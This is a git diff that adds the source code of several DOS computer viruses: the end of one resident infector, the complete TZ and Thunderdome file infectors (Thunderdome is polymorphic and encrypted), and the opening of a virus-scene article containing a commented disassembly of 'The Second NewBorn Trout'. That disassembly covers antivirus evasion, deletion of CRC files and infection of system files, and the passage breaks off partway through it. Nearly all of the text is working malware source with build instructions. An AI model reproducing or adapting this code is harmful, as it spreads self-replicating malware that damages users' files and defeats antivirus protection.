AH,4CH ; Load? + JNE BP025F ; Branch if not +BP0246: CALL BP026D ; Install virus in memory + MOV DX,CS:DW002C ; \ Set ES to environment block + MOV ES,DX ; / + MOV BX,0 ; Zero length + MOV AH,4AH ; Set block function + INT 21H ; DOS service + MOV DX,001DH ; \ Length to keep + ADD DX,1 ; / + MOV AH,31H ; Keep process function +BP025F: DB 0EAH ; Far jump +DW0260 DW 2DEAH ; Int 21H offset +DW0262 DW 4242H ; Int 21H segment + + ; Interrupt 20H routine + +BP0264: MOV AX,4C00H ; Fake a load + JMP BP023C ; Process as a DOS service + +DW0269 DW 2C08H ; Int 20H offset +DW026B DW 4242H ; Int 20H segment + + ; Install virus in memory + +BP026D: PUSH CX + PUSH DI + PUSH SI + PUSH ES + CALL BP0274 ; \ Get current address +BP0274: POP SI ; / + PUSH SI + MOV DI,0100H ; Address start of area + MOV CX,OFFSET BP023C-BP015E ; Length to copy +BP027C: MOV AL,CS:[SI+OFFSET BP015E-BP0274] ; Get a byte + MOV CS:[DI],AL ; Store in new location + INC SI ; Next input position + INC DI ; Next output position + LOOP BP027C ; Repeat to end of area + POP SI + XOR CX,CX ; \ Address zero + MOV ES,CX ; / + ASSUME ES:VECTOR + MOV CX,CS:[SI-14H] ; \ Restore Int 21H offset + MOV BW0084,CX ; / + MOV CX,CS:[SI-12H] ; \ Restore Int 21H segment + MOV BW0086,CX ; / + MOV CX,CS:[SI-0BH] ; \ Restore Int 20H offset + MOV BW0080,CX ; / + MOV CX,CS:[SI-9] ; \ Restore Int 20H segment + MOV BW0082,CX ; / + MOV CX,0100H ; \ Install moved area as Int 16H + MOV BW0058,CX ; / + ASSUME ES:NOTHING + POP ES + POP SI + POP DI + POP CX + RET + + ; Test system for infection + +BP02BE: PUSH AX + XOR AL,AL ; Clear register + MOV AH,0DDH ; Infection test function + INT 16H ; Keyboard I/O + CMP AL,AH ; Are they the same + JNE BP02CB ; Branch if not + POP AX + RET + + ; Install interrupts + +BP02CB: PUSH BX + PUSH SI + PUSH ES + MOV DX,[SI+16H] ; Get generation count + CALL BP02D4 ; \ Get current address +BP02D4: POP SI ; / + PUSH BX + PUSH ES + MOV BX,0040H ; \ Address system RAM + MOV ES,BX ; / + ASSUME ES:RAM + MOV BX,BW046C ; Get system clock, low word + MOV CS:[SI+DW0171-BP02D4],BX ; Get system clock, low word + MOV CS:[SI+DW0173-BP02D4],BX ; Get system clock, low word + ASSUME ES:NOTHING + POP ES + POP BX + MOV [SI+DW0175-BP02D4],DX ; Save generation count + XOR AX,AX ; \ Address zero + MOV ES,AX ; / + ASSUME ES:VECTOR + MOV AX,BW0084 ; \ Save Int 21H offset (DW0260) + MOV CS:[SI-74H],AX ; + MOV AX,BW0086 ; \ Save Int 21H segment (DW0262) + MOV CS:[SI-72H],AX ; + MOV AX,BW0058 ; \ Save Int 16H offset (DW016D) + MOV CS:[SI+0FE99H],AX ; / + MOV AX,BW005A ; \ Save Int 16H segment (DW016F) + MOV CS:[SI+0FE9BH],AX ; / + MOV AX,BW0080 ; \ Save Int 20H offset (DW0269) + MOV CS:[SI-6BH],AX ; / + MOV AX,BW0082 ; \ Save Int 20H segment (DW026B) + MOV CS:[SI-69H],AX ; / + CLI + PUSH CS ; \ Set Int 21H segment + POP BW0086 ; / + MOV BW0084,SI ; \ Set Int 21H offset (BP023C) + SUB BW0084,0098H ; / + PUSH CS ; \ Set Int 20H segment + POP BW0082 ; / + MOV BW0080,SI ; \ Set Int 20H offset (BP0264) + SUB BW0080,70H ; / + PUSH CS ; \ Set Int 16H segment + POP BW005A ; / + MOV BW0058,SI ; \ Set Int 16H offset (BP015E) + SUB BW0058,0176H ; / + STI + ASSUME ES:NOTHING + POP ES + POP SI + POP BX + POP AX + RET + +ENDADR EQU $ + +CODE ENDS + + END + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; + diff --git a/t/TZ.ASM b/t/TZ.ASM new file mode 100755 index 0000000..7c0c7bd --- /dev/null +++ b/t/TZ.ASM @@ -0,0 +1,277 @@ +; RIP TerminatorZ +; +; This virus is dedicated to the great TerminatorZ who recently died of an +; overdose. I was, I guess you can say, friends with TZ and nearly ended up +; living with the guy. He had high prospects in both the virus world and in +; his chosen field of expertise, biochemistry, but he got on the drug +; landslide. It's a pitty and a waste. We'll miss ya man. +; +; The virus is a com/exe-hdr int 21 resident infector. +; It displays a message. +; +; compile with a86 and rename the .bin to .com (479 bytes) +; +; Quantum / VLAD +; +org 0 +vstart: +mov ax,1801h +int 21h + +db 0bbh +delta dw 100h + +or al,al +jnz ret2host + +push es + +mov ax,20h +mov es,ax +mov si,bx +xor di,di +mov cx,offset daend +rep movsb + +mov ds,cx +mov si,84h +mov di,offset oi21 +movsw +movsw +mov word ptr [si-4],offset i21 +mov word ptr [si-2],ax + +pop es + +ret2host: +comorexe db 0ebh +db offset comret-offset exeret +exeret: +push cs +pop ax +db 05h +orgcs dw 0 +push ax +db 0b8h +orgip dw 0 +push ax +retf + +comret: +mov di,100h +push di +db 0b8h +retbytes1 dw 20cdh +stosw +db 0b8h +retbytes2 db 90h,'Z' +stosw +ret + +payload: +push ds +push es +push dx +push cx +push si +push di +push ax +push cs +pop ds +in al,40h +cmp al,8 +jnz endpayload +mov ax,0b800h +mov es,ax +mov di,160*24+80-16 +mov cx,15 +mov si,offset msg +flashloop: +movsb +mov al,1fh +stosb +loop flashloop +endpayload: +pop ax +pop di +pop si +pop cx +pop dx +pop es +pop ds +jmp gooldint + +msg db "R","I","P"," ","T","e","r","m","i","n","a","t","o","r","Z" + +i21: +cmp ax,1801h +jnz notserv +iret +notserv: +cmp ax,4b00h +jz infectit +cmp ah,3dh +jz infectit +cmp ah,4ch +jz payload +gooldint: +db 0eah +oi21 dw 0,0 + +int21: +pushf +call dword ptr cs:[offset oi21] +ret + +infectit: +push ax +push bx +push cx +push dx +push si +push di +push ds +push es +mov si,dx +findloop: +lodsb +or al,al +jnz findloop +cmp word ptr [si-3],"MO" +jz goon +cmp word ptr [si-3],"EX" +jz goon +jmp noinfect +goon: +mov ax,3d02h +call int21 +xchg bx,ax +push cs +pop ds +mov dx,offset retbytes1 +mov di,dx +call read2 +cmp word ptr [di],"MZ" +jz infectexe +cmp word ptr [di],"ZM" +jz infectexe +infectcom: +mov dx,offset retbytes2 +mov di,dx +call read2 +cmp byte ptr [di+1],"Z" +jnz goon1 +goout: +jmp aftinfect +goon1: +mov byte ptr [offset comorexe],0ebh +mov ax,04202h +xor cx,cx +xor dx,dx +call int21 +or dx,dx +jnz goout +cmp ah,5 +jb goout +mov [offset delta],ax +add [offset delta],100h +dec ax +dec ax +dec ax +push ax +call writeall +xor dx,dx +call setp +mov si,offset tmpspace +pop [si] +mov ah,40h +mov cx,4 +mov dx,offset topcode +call int21 +jmp aftinfect +infectexe: +mov dx,8 +call setp +mov dx,si +call read2 +mov ax,[si] +cmp ax,20h +jnz aftinfect +mov di,offset daend/16+1 +sub ax,di +mov [si],ax +mov dx,8 +call setp +mov dx,si +call write2 +mov dx,14h +call setp +mov dx,offset orgip +call read2 +mov dx,offset orgcs +call read2 +add word ptr [offset orgcs],di +mov dx,0eh +call setp +mov dx,si +call read2 +add word ptr [si],di +mov dx,0eh +call setp +mov dx,offset tmpspace +call write2 +mov dx,14h +call setp +mov word ptr [si],dx +mov word ptr [offset delta],dx +mov byte ptr [offset comorexe],0e4h +mov dx,si +call write2 +mov dx,si +call write2 +mov dx,(20h-(offset daend/16+1))*16 +call setp +call writeall +aftinfect: +mov ah,3eh +call int21 +noinfect: +pop es +pop ds +pop di +pop si +pop dx +pop cx +pop bx +pop ax +jmp gooldint + +writeall: +mov ah,40h +mov cx,offset daend +xor dx,dx +call int21 +ret + +read2: +mov ah,3fh +midread: +mov cx,2 +call int21 +ret + +write2: +mov ah,40h +jmp midread + +setp: +mov ax,04200h +xor cx,cx +call int21 +ret + +topcode db 0e9h +tmpspace dw 0 +db 'Z' + +daend: diff --git a/t/Thunder.asm b/t/Thunder.asm new file mode 100755 index 0000000..0567b13 --- /dev/null +++ b/t/Thunder.asm @@ -0,0 +1,403 @@ +; +; Thunderdome virus by John Tardy / TridenT +; + + Org 0h + +decr: jmp Crypt + db 'Carcass' +Loopje DB 0e2h + db 0fah +DecrLen Equ $-Decr + +Crypt: Push Ax + call Get_Ofs +Get_Ofs: pop Bp + sub Bp,Get_Ofs + + Mov Ah,2ah + Int 21h + Cmp Cx,1993 + Ja Makeya + jb Installed + Cmp Dh,10 + Jb installed + + +Makeya: Mov Ax,0DEADh + Int 21h + Cmp Ax,0AAAAh + Je Installed + + mov ax,3521h + int 21h + mov word ptr cs:old21[bp],bx + mov word ptr cs:old21[bp][2],es + + mov ax,cs + dec ax + mov ds,ax + cmp byte ptr ds:[0000],'Z' + jne installed + mov ax,word ptr ds:[0003] + sub ax,ParLen + jb installed + mov word ptr ds:[0003],ax + sub word ptr ds:[0012h],ParLen + lea si,decr[bp] + xor di,di + mov es,ds:[12h] + mov ds,cs + mov cx,virlen + rep movsb + mov ax,2521h + mov ds,es + mov dx,offset new21 + int 21h +Installed: Mov Di,100h + Push Di + Lea Si,Org_Prg[Bp] + Push Cs + Pop Ds + Push Cs + Pop Es + Movsw + Movsb + Pop Bx + Pop Ax + Jmp Bx + +Old21 dd 0 + +New21: cmp ax,0deadh + jne chkfunc + mov cx,0aaaah + mov ax,cx + iret +chkfunc: cmp ah,12h + je findFCBst + cmp ah,11h + je findfcbst + cmp ah,4fh + je findst + cmp ah,4eh + je findst + push ax + push bx + push cx + push dx + push si + push di + push bp + push ds + push es + cmp ah,3dh + je infectHan + cmp ah,4bh + je infectHan + cmp ah,41h + je infectHan + cmp ah,43h + je infectHan + cmp ah,56h + je infectHan + cmp ah,0fh + je infectFCB + cmp ah,23h + je infectFCB + cmp ah,6ch + je infectdos4 + jmp endint + +findfcbst: jmp findfcb +findst: jmp find + +InfectFCB: mov si,dx + lodsb + push cs + pop es + lea di,fnam + mov cx,8 + rep movsb + mov cx,3 + inc di + rep movsb + lea dx,fnam + push cs + pop ds + +InfectHan: mov si,dx + mov cx,100h +findpnt: lodsb + cmp al,'.' + je chkcom + loop findpnt + jmp endi + +infectdos4: and dx,0fh + cmp dx,1 + jne endi + mov dx,si + jmp infecthan + +chkcom: lodsw + or ax,2020h + cmp ax,'oc' + jne endi + lodsb + or al,20h + cmp al,'m' + je doitj +endi: jmp endint +doitj: push dx + push ds + mov ax,4300h + call dos + mov cs:fatr,cx + mov ax,4301h + sub cx,cx + call dos + mov ax,3d02h + call dos + jnc getdate + jmp error +getdate: mov bx,5700h + xchg ax,bx + call dos + mov cs:fdat,cx + mov cs:fdat+2,dx + and cx,1fh + cmp cx,1fh + jne chkexe + jmp done +chkexe: mov ah,3fh + push cs + pop ds + lea dx,Org_prg + mov cx,3 + call dos + cmp word ptr cs:Org_prg[0],'MZ' + je close + cmp word ptr cs:Org_prg[0],'ZM' + je close + + Mov ax,4202h + sub cx,cx + cwd + call dos + + sub ax,3 + mov cs:jump[1],ax + + Add Ax,Offset Crypt+103h + Mov S_1[1],Ax + Mov S_2[1],Ax + Mov S_3[4],Ax + Mov S_4[4],Ax + Call GenPoly + + mov ah,40h + push cs + pop ds + lea dx,coder + mov cx,virlen + call dos + + mov ax,4200h + xor cx,cx + cwd + call dos + + mov ah,40h + lea dx,jump + mov cx,3 + call dos + + or cs:fdat,01fh + +close: mov ax,5701h + mov cx,cs:fdat + mov dx,cs:fdat[2] + call dos + +done: mov ah,3eh + call dos + pop ds + pop dx + push dx + push ds + mov ax,4301h + mov cx,fatr + call dos + +error: pop ds + pop dx + +endint: pop es + pop ds + pop bp + pop di + pop si + pop dx + pop cx + pop bx + pop ax + jmp d ptr cs:[old21] + +GenPoly: Xor Byte Ptr [Loopje],2 + Xor Ax,Ax + Mov Es,Ax + Mov Ax,Es:[46ch] + Mov Es,Cs + Push Ax + And Ax,07ffh + Add Ax,CryptLen + Mov S_1[4],Ax + Mov S_2[4],Ax + Mov S_3[1],Ax + Mov S_4[1],Ax +Doit: Pop Ax + Push Ax + And Ax,3 + Shl Ax,1 + Mov Si,Ax + Mov Ax,W Table[Si] + Mov Si,Ax + Lea Di,decr + Movsw + Movsw + Movsw + Movsw + Pop Ax + Stosb + Movsb + Mov Dl,Al + Lea Si,Decr + Lea Di,Coder + Mov Cx,DecrLen + Rep Movsb + Lea Si,Crypt + Mov Cx,CryptLen +Encrypt: Lodsb + Xor Al,Dl + Stosb + Loop Encrypt + Cmp Dl,0 + Je Fuckit + Ret + +FuckIt: Lea Si,Encr0 + Lea Di,Coder + Mov Cx,Encr0Len + Rep Movsb + Mov Ax,Cs:jump[1] + Add Ax,Encr0Len+2 + Mov Cs:jump[1],Ax + Ret + + Db 13,10,'Created in Holland, released near Bolzano/Italy.' + Db 13,10,'This virus is made to test the spreading rate of viruses in Italy. It is not' + Db 13,10,'ment to be destructive, however, some programs might not work anymore,' + Db 13,10,'because of CRC-checking. I am sorry if I accidentally corrupted one of your' + Db 13,10,'programs, but HEY! That is how life is, eh? Try to get our virus collection!' + Db 13,10,'and try TPE, or DMU (another one, more compact and also very complex!).' + Db 13,10,'Greetings go to all other virus writers!' + +Table DW Offset S_1,Offset S_2,Offset S_3,Offset S_4 + +S_1: Lea Si,0 + Mov Cx,0 + DB 80h,34h + Inc Si +S_2: Lea Di,0 + Mov Cx,0 + DB 80h,35h + Inc Di +S_3: Mov Cx,0 + Lea Si,0 + DB 80h,34h + Inc Si +S_4: Mov Cx,0 + Lea Di,0 + DB 80h,35h + Inc Di + + Db '[ "Thunderdome" virus by ' + +Encr0 Db 'John Tardy' +Encr0Len Equ $-Encr0 + + Db ' / TridenT ]' + +getdta: pop si + pushf + push ax + push bx + push es + mov ah,2fh + call dos + jmp short si + +FindFCB: call DOS + cmp al,0 + jne Ret1 + call getdta + cmp byte ptr es:[bx],-1 + jne FCBOk + add bx,8 +FCBOk: mov al,es:[bx+16h] + and al,1fh + cmp al,1fh + jne FileOk + sub word ptr es:[bx+1ch],Virlen + sbb word ptr es:[bx+1eh],0 + jmp short Time + +Find: call DOS + jc Ret1 + call getdta + mov al,es:[bx+16h] + and al,1fh + cmp al,1fh + jne FileOk + sub word ptr es:[bx+1ah],VirLen + sbb word ptr es:[bx+1ch],0 +Time: xor byte ptr es:[bx+16h],10h +FileOk: pop es + pop bx + pop ax + popf +Ret1: retf 2 + +dos: pushf + call dword ptr cs:[old21] + ret + +Org_prg dw 0cd90h + db 20h + +fnam db 8 dup (0) + db '.' + db 3 dup (0) + db 0 +fatr dw 0 +fdat dw 0,0 + + +jump db 0e9h,0,0 + +ResLen Equ ($-Decr)/10h + +ParLen Equ (Reslen*2)+10h + +CryptLen Equ $-Crypt + +VirLen Equ $-Decr + +Coder Equ $ + + +; +; > ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt < +; > ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? < +; diff --git a/t/tt-peb.asm b/t/tt-peb.asm new file mode 100755 index 0000000..80f8863 --- /dev/null +++ b/t/tt-peb.asm @@ -0,0 +1,3354 @@ + Virus spotlite: The Second NewBorn Trout + by b0z0/iKX, Padania 1997 + + +Virus Name : The Second NewBorn Trout +Author : The Tricky Trout +Origin : Milan (North Italy), 1995 +AV Name : Trout-6804 (AVAST!), Trout2.6804 (AVP), Trout.6804 (DrWeb) +Type : Direct action/TSR, Poly, COM infector, Retro +Lenght : 6804 on disk (19967 in memory) + +Introduction: + + This is a quite old, but interesting virus from North Italy. Its main point +of interest is undoubtely the good polymorphic engine that can generate a lot +of different types of garbage instructions, including fake interrupt calls +and quite long and complex decryptors, ranging at about 1kb-2kb. This should +sound sorta normal nowadays, but for the past days in 1995 it was a great +engine, maybe one of the best around as some AVers stated at the time. + +Virus description: + + As it is quite usual the virus will shrink the last MCB and place itself +there. Of course it will then hook interrupt 21h, but instead of pointing +from the IVT directly to the virus handler it will put in the IVT the adress +to the first byte in the new virus segment in high memory. Here (while on +the disk there are some garbage instructions, this is the 5 NOPs at the 1st +gen) the virus will put a jump to the real virus interrupt 21h handler plus +a word as marker. This is done to make the unhooking from the interrupt +21h chain easier. Infact when the virus notices some dangerous program is +going to be started it will encrypt itself in memory and unhook from the +interrupt chain. But more about this stealth feature later. + Just after going resident TSNBT will turn into a direct action infector to +be sure that the system will became infected. It will infact search for and +infect 5 files in each of the search paths, starting from current directory +on drive C:, then pointing directly to the file C:\DOS\KEYB.COM (quite usual +on every DOS-like system. Of course this search won't be done 5 times ;) ), +then scanning in the C:\DOS directory and finally scanning for COMs in the +current directory. In this way the virus is quite sure that it has been +sucesfully installed on the new system :-) + At this point, when the installation in memory and on the disk are completed, +the virus will return the control to the original host. After restoring the +host data TSNBT will create a small routine on the stack and will pass the +control to her. This routine will delete the virus from the memory after +the host with zeros and then will pass the control to the host. In this +way the virus isn't present anymore after the host in memory, sorta stealth :) + While in memory the virus will check for quite a few int 21h functions. +Infact on every execute (4b00h and 4b01h), open (3dh), extended open (6c00h), +rename (56h) and filename parse to fcb (29h) it will check if the file can +be infected (by comparing to the AV, system files and such like strings) and +then will try to infect it. The infection stage is quite an usual COM infection +stage, so nothing special to write :) When a file is executed before the +infection an additional check is done. The virus will check if the program +that is going to be run is an antivirus or a debugger. If so the virus, +apart from not infecting the file, will encrypt itself in memory, unhook +from the interrupt 21h chain (simply putting a jmp far to the old handler +in the 5 bytes we talked about above), setup the stack so the return adress +after the execution will point to the newly generated decryption code and setup +a small routine on the stack that will delete the unencrypted copy of the virus +and then pass the control to the next handler in the interrupt 21h chain. Then +the virus will jump on the routine on the stack that, as said, will overwrite +the unencrypted virus body, leaving of course the encrypted copy that will +be stored higher in the memory block, and then execute the interrupt 21h +funcion requested by the user (4b00h or 4b01h). In this way the antivirus +or debugger that has been executed won't find the virus in the interrupt 21h +chain and won't even be able to scan the memory for a simple scan string! +Infact what is cool is that the virus isn't just encrypted with a standard +loop but the poly engine TT-PEB that is used for the files is used for +memory too, with some additional parameters of course. So detection in memory +is quite hard, at least as hard as on disk. When the antivirus or debugger +will finish it's work DOS will pass control to the CS:IP the virus pushed +previsiously on the stack that points on the decryptor of the virus in +memory. So the virus will decrypt and reinstall itself again in memory. + Finally at every sucessfull infection the virus will delete some well +known CRC files of the most common antiviruses. + +Poly engine description: + + As already said the poly engine, the "Tricky Trout Plurimorphic Encryptor +Builder" (shortly TT-PEB) is very interesting. The version used here is the +2.01, but I don't know of other versions before this one. The TT-PEB is +highly based on the use of tables. Infact for a lot of tasks, in the +generation of the main decryption loop instructions, the TT-PEB selects the +routine to be executed from a table containing adresses. The heart of this +method is the procedure tbl2addr that given the adress of the table and the +number of elements in it will return in AX a randomly choosen adress from the +table. A JMP or a CALL to the AX value will then proceed to the generation of +the selected code. This can be used of course also just to select an element +in AX from the table and use it in another way :-) + The assignation of the values to the register used as pointer, to the +register used as counter and to the register used to hold the key of the +decryptor is done in a random sequence. The assignation of the value can be +done in three different ways: directly assigning the 16bit value to the +register, by assigning first the low 8bits and later the high 8bits, by +assigning first the high 8bits and then the low 8bits. Of course this is done +when the selected register is suitable for doing that! + The methods of encryption are the usual ones: XOR, ADD and SUB. Only 8bit +math operation can be done. The operation can be done with an immediate value +or using the key register, but this will have anyway a fixed value in the loop. + The rest of the loop doens't offer many possible choices. There are three +possible ways of checking if the counter came to zero (check check_counter) +and a standard JZ+JMP construct with garbage in the middle to get back to +the decryption loop. + The garbage generation is interesting too. The garbage instructions are +generated with something like a garbage compiler based on given garbage +construction commands. The main garbage routine (garb_compiler) will infact +examine byte by byte the pointed garbage construction command. The data in +this construction commands should be interpreted as a command to execute or +just as data to the previous command. It's not so simple to write :-) +Let's see a schematic example: + + garb_cmd db X1-A, D1A, X2-B, D2A, D2B, X3-B, D3A, D3B, X4, END + + The Xn should be directives to execute some commands. The -A prefix means +that one parameter is required, -B two parameters, no prefix no parameters. +The Dnk are just data bytes that are required by the command before them. + + The garbage compiler will start reading from the first byte and execute +the command X1-A (the adress in memory of the command is, again, calculated +with a table). This will do something using the data D1A too (for example the +X1-A should just store the D1A byte to the buffer where the decryptor is +going to be done or store the D1A plus and additional word or something else). +The X1-A will also update the pointer to the next instruction to be +interpreted, this is X2-B. So then the X2-B, that will use two data bytes, +will be executed, then the X3 that agains need two params and finally execute +X4 that doesn't need extra data. + In the TT-PEB itself the commands are represented by the garb_rrXX routines +(XX from 00 to 32). The table that converts a command byte to the adress of +the routine is the garb_routines table. Some commands are also called by +other commands, not just directly from the garbage compiler. As you can see +from the source (sorry, i'm not so lazy to comment one by one :) ) the +garb_rrXX rotuines do various things, from just copying the data byte +given on the given data byte (garb_rr00), or testing if a register (given +as data byte) is already used for the main decryption loop (garb_rr2e), or +testing if we are already in the decryptor loop (garb_rr32), or copy the given +amount of data bytes to the decryptor space (garb_rr01, this takes the first +data byte as the number of bytes to copy and the next bytes as data to be +copyed) and so on. + A command value of 0ffh means that the command has finished or it has to +be stopped (for example if a test for a register has been negative). +In my opinion this kind of garbage generator is very cool, extremely +elegant and easy to extend. The only bad thing i can see is the space used: +infact it should need too much space for some kind of construct, for example +for the generation of one byte garbagers. + The TT-PEB can generate a good variety of garbage instructions: math +operations with registers and memory, operations with registers, comparations +and the usual stuff. It is interesting that the poly also generates code to +use (in math operations) or compare memory using registers as pointers and +not just only immediate adresses (ex. mov ch,byte ptr ds:[bx+di] and such). +There are also a few fake interrupt calls to both int 13h and 21h. A few +more simple call and jump instructions are also included (see garb_cf0 to +garb_cf5 in source, they are fully described there). + Another interesting thing is that after the decryptor will be generated the +poly will execute it from memory to encrypt the body of the virus. Of course +the TT-PEB will put a RET instruction just after the end of the decryptor +(encryptor) so it will be able to get control again. When the decryptor will +finish to encrypt the body the TT-PEB will finally delete the RET used just +in memory, will change the math operation that encrypted the body to its +complementary for the decryption and will finally put the real value to the +assignation of the pointer (since before it just put the assignation valid +for execution in memory). + +The disasm: + + Here you have the entire disasm of the virus and of the TT-PEB. Some parts +like the garbage generation routines aren't fully commented since they are +quite simple to understand for the average poly coder. Also I left out many +labels and a few comments from the first hand Sourcer pass. I am not so lazy +to change every label just to hide the first pass :) + Here comes the source! To get the original compile using TASM 3.0: + +TASM /m5 2trout.asm +TLINK /t 2trout.obj + +Enjoy! + + +; +; +; The Second NewBorn Trout +; Written by The Tricky Trout +; Milan, North Italy 1995 +; +; Disasm by b0z0/iKX +; Padania 1997 +; +; + +virus_length equ (offset tsnbt_fend - offset tsnbt_start) +virus_mem equ (offset mem_end - offset tsnbt_start) + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + org 100h + +tsnbt_start: + nop + nop + nop + nop + nop +tt_real_virus: + sti + cld + + pushf + push ax + call delta_offset + +delta_offset: + mov si,01 + cli + xchg si,sp + lodsw ; call adress in AX + xchg sp,si + sti + + sub ax,offset delta_offset ; calculate delta offset + mov bp,ax ; delta offset in BP + + cmp byte ptr cs:[poly_in_mem + bp],0 + mov byte ptr cs:[poly_in_mem + bp],0 + jnz run_from_mem + + pop ax + popf + + call restore_victim ; restore victim data + call res_check + jz already_resident + + call mem_signature + call go_resident + call infect_sys + +already_resident: +; here the virus creates a bounch of bytes of code on the stack that will +; overwrite the virus in memory (the one after the infected file, of course +; not the one resident in mem :) ) with zeros and then return the control +; to the host (this is CS:100h) + + sub bx,bx + mov cx,0ffh + mov dx,cs + mov si,100h + mov di,0fffeh + + mov ax,00h + push ax ; push 00 + + mov ax,08cah ; push 0ca08 ('retf 8' with + push ax ; the previous zeros) + + mov ax,595fh ; push 5f59h ('pop di', + push ax ; 'pop cx') + + mov ax,0aaf3h ; push f3aah ('rep stosb') + push ax + + cli + mov word ptr ds:[jump_sp + bp],sp + mov word ptr ds:[jump_ss + bp],ss + sti ; store SS:SP for our jump + ; on the stack + + push cs ; this will be the return + push si ; adress + + push di + push cx + + lea di,cs:[105h + bp] ; point on virus body + mov cx,virus_length ; the rep stosb will delete + sub ax,ax ; the virus in memory with + sub bp,bp ; zeros (in mem after the COM) + + + db 0eah ; jmp far on our code on the +jump_sp dw 00h ; stack +jump_ss dw 00h + +run_from_mem: +; if the virus is encrypted in memory after the decryptor it will rehook the +; int 21h and copy just it's decrypted body where on its place + + mov ax,cs + mov ds,ax + mov es,word ptr ds:[poly_segmem + bp] + lea si,ss:[int21h_jump + bp] + mov di,100h ; put again the virus int 21h + mov cx,5 ; handler in the chain + rep movsb + + lea si,ss:[105h + bp] + mov cx,virus_length ; reput virus to it's place + rep movsb ; in memory + + pop ax ; pop exec return stuff + popf + + pop bp ; correct stack from the + pop es ; work before + pop ds + pop di + pop si + pop dx + pop cx + pop bx + retf 2 ; go on :) + +restore_victim: + lea si,ss:[orig_bytes + bp] ; point on victim saved data + mov di,100h + mov cx,5 + rep movsb ; restore the 5 bytes + retn + +res_check: + mov ax,6353h ; residency check call + mov cl,0 + int 21h + cmp ax,3254h ; set flags and set ds=cs + mov ax,cs + mov ds,ax + retn + +mem_signature: + push ds + sub ax,ax + mov ds,ax ; set a virus marker in memory + mov word ptr ds:[20ch],'XV' + pop ds + retn + +go_resident: + push ds + push es + mov ax,cs + sub ax,1 + mov ds,ax ; on mcb + + cmp byte ptr ds:[0],'Z' ; last mcb? + je is_our_last + jmp short bad_memory +is_our_last: + mov ax,virus_mem ; needed memory + mov cl,4 + shr ax,cl ; convert to paras + add ax,1 + + mov dx,word ptr ds:[3] + sub dx,ax + mov word ptr ds:[3],dx ; shrink for virus + + sub bx,bx + mov es,bx + + shr ax,cl + shr cl,1 + shr ax,cl ; convert to kbs + add ax,1 + + sub word ptr es:[413h],ax ; lower system memory + + mov ax,cs + add dx,ax + sub dx,10h ; calculate virus segment + mov es,dx + + cli + sub ax,ax + mov ds,ax + + mov ax,100h ; BX:AX point to the jump + mov bx,es ; to the int 21h handler + + xchg ds:[21h * 4],ax ; hook int21h + xchg ds:[21h * 4 + 2],bx + + mov cs:[orig_int21h + bp],ax + mov word ptr cs:[orig_int21h+2 + bp],bx + + mov word ptr cs:[int24_off + bp],offset int24h_handler + mov word ptr cs:[int24_seg + bp],es + ; initialize int24h adress + mov ax,cs + mov ds,ax + + lea si,ss:[int21h_jump + bp] + mov di,100h + mov cx,5 ; copy the jump to int 21h + rep movsb ; handler + + lea si,ss:[105h + bp] + mov cx,virus_length ; copy virus to memory + rep movsb + sti + +bad_memory: + pop es + pop ds + retn + +infect_sys: +; when the virus goes resident it will search for some files to infect that +; are usually on every system (look at the string later in the source). this +; of course is a good idea to implant the virus in the system. + + push ds + mov ah,2Fh ; get dta + int 21h + + push bx + push es + mov ah,1Ah ; set dta + lea dx,ss:[offset mem_buff + bp] ; dta to our free mem + int 21h + + lea dx,cs:[fastfile1 + bp] ; fastly infect some + call fast_infect ; files on the system + lea dx,cs:[fastfile2 + bp] + call fast_infect + lea dx,cs:[fastfile3 + bp] + call fast_infect + lea dx,cs:[fastfile4 + bp] + call fast_infect + + pop ds + pop dx + mov ah,1ah ; set original dta + int 21h + + pop ds + retn + +fast_infect: + mov byte ptr ds:[fast_cntr + bp],0 ; initialize counter + mov ah,4Eh ; findfirst + mov cx,3 +do_find_fn: + int 21h + jc end_fast_inf ; carry = finished + + mov si,dx + lea di,ss:[buff_2 + bp] +loc_11: + mov al,[si] + cmp al,'*' ; wildcard search? + je loc_12 + mov [di],al + cmp al,0 ; end of name + je loc_14 + add si,1 + add di,1 + jmp short loc_11 +loc_12: + lea si,ss:[buff_1 + bp] +loc_13: + mov al,[si] + mov [di],al + add si,1 + add di,1 + cmp al,0 + jne loc_13 +loc_14: + push dx + + mov ax,6353h ; virus internal function + mov cl,1 ; to infect a file + lea dx,cs:[1BC9h + bp] + int 21h + + pop dx + mov ax,cs + mov ds,ax + jc loc_15 ; carry no infection, so + ; don't update counter + + add byte ptr ds:[fast_cntr + bp],1 + cmp byte ptr ds:[fast_cntr + bp],5 + je end_fast_inf ; already 5 infected files? +loc_15: + mov ah,4fh ; set AH for findnext call + jmp short do_find_fn +end_fast_inf: + retn + +int21h_handler: +; Interrupt 21h handler + cmp ax,4b00h ; execute + je exec_on21 + + cmp ax,4b01h ; execute + je exec_on21 + + cmp ah,3dh ; open + je open_on21 + + cmp ax,6c00h ; extended open + je eope_on21 + + cmp ah,56h ; rename + je open_on21 + + cmp ah,29h ; parse filename into fcb + je eope_on21 + + cmp ax,6353h ; residency and internal + je resi_on21 ; virus stuff + +chain_on21: + jmp dword ptr cs:[orig_int21h] +exec_on21: + call filenmav_chk + jnc no_av1 + jmp av_executed +no_av1: + call filename_chk + jc bad_name1 + call infect_file +bad_name1: + jmp short chain_on21 + +open_on21: + call filename_chk + jc bad_name2 + call infect_file +bad_name2: + jmp short chain_on21 + +eope_on21: + push dx + mov dx,si + call filename_chk + jc bad_name3 + call infect_file +bad_name3: + pop dx + jmp short chain_on21 + +resi_on21: + cmp cl,0 + je just_residency_check + + cmp cl,1 + je infect_it + iret + +just_residency_check: + mov ax,3254h + iret ; Interrupt return +infect_it: + call filename_chk + jc loc_ret_28 + + mov byte ptr cs:[good_inf],0 + call infect_file + cmp byte ptr cs:[good_inf],1 + +loc_ret_28: + retf 2 + +filename_chk: + ; ok exit without carry, bad exit with carry. Bad exit if: + ; 1) the extension isn't COM + ; 2) the file is an OS file + ; 3) file is an AV + + call push_all + mov si,dx +nnn_loop: + cmp byte ptr [si],0 ; end of the string? + je end_string + + cmp byte ptr [si],'.' + je got_dotext + + add si,1 + jmp short nnn_loop +got_dotext: + add si,1 + push dx + mov dx,si + + mov di,offset com_suffix + call cmpre_names ; check if the extension + ; is COM + + pop dx + jc ok_extcom ; extension is ok +end_string: + stc + jmp short exit_cmp1 +ok_extcom: + 